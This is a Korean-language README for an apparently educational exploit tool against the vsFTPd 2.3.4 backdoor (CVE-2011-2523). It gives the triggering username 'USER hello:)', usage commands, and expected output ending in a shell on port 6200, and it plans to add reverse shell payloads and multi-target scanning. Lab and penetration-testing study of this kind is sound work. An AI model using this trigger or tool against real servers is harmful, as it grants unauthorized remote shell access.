CVE-2011-2523 익스플로잇 (vsFTPd 2.3.4 백도어)

이 프로젝트는 Python과 pwntools를 사용하여 vsFTPd 2.3.4 백도어 취약점(CVE-2011-2523) 을 악용하는 방법을 시연합니다.

면책 조항: 이 프로젝트는 교육 및 승인된 침투 테스트 목적으로만 사용됩니다. 허가 없이 시스템에 사용하지 마십시오.

취약점 개요

• CVE ID: CVE-2011-2523
• 취약 소프트웨어: vsFTPd 2.3.4
• 유형: 백도어 / 원격 코드 실행
• 포트: 21 (FTP), 6200 (백도어 셸)

👉 취약한 버전의 vsFTPd에는 로그인 시 :)가 포함된 사용자 이름이 사용될 때 트리거되는 악성 백도어가 포함되어 있습니다.

익스플로잇 작동 방식

1. 대상 FTP 서버에 연결
2. 버전이 vsFTPd 2.3.4인지 확인
3. 특수하게 조작된 사용자 이름(USER hello:)) 전송
4. 숨겨진 백도어 트리거
5. 포트 6200에 연결
6. 대화형 셸 실행

🛠️ 요구 사항

• Python 3
• pwntools 라이브러리

의존성 설치:

pip install pwntools

사용 방법

🔹 익스플로잇 실행

python3 exploit.py <TARGET_IP>

🔹 옵션: 포트 지정

python3 exploit.py <TARGET_IP> <PORT>

예시

python3 exploit.py 192.168.190.140

예상 출력

[+] Checking FTP Version...
[+] Triggering backdoor...
[+] Connecting to backdoor....
[+] Got Shell
$

중요 참고 사항

• 대상은 vsFTPd 2.3.4(취약한 버전) 를 실행 중이어야 합니다.

• 포트 6200에 연결할 수 있어야 합니다.

• 다음과 같은 실습 환경에서 가장 잘 작동합니다:

  • Metasploitable
  • 취약한 VM

개선 사항 (향후 작업)

• 여러 FTP 버전 자동 탐지
• 리버스 셸 페이로드 추가
• 다중 대상 스캔 지원
• 자동화 도구와의 통합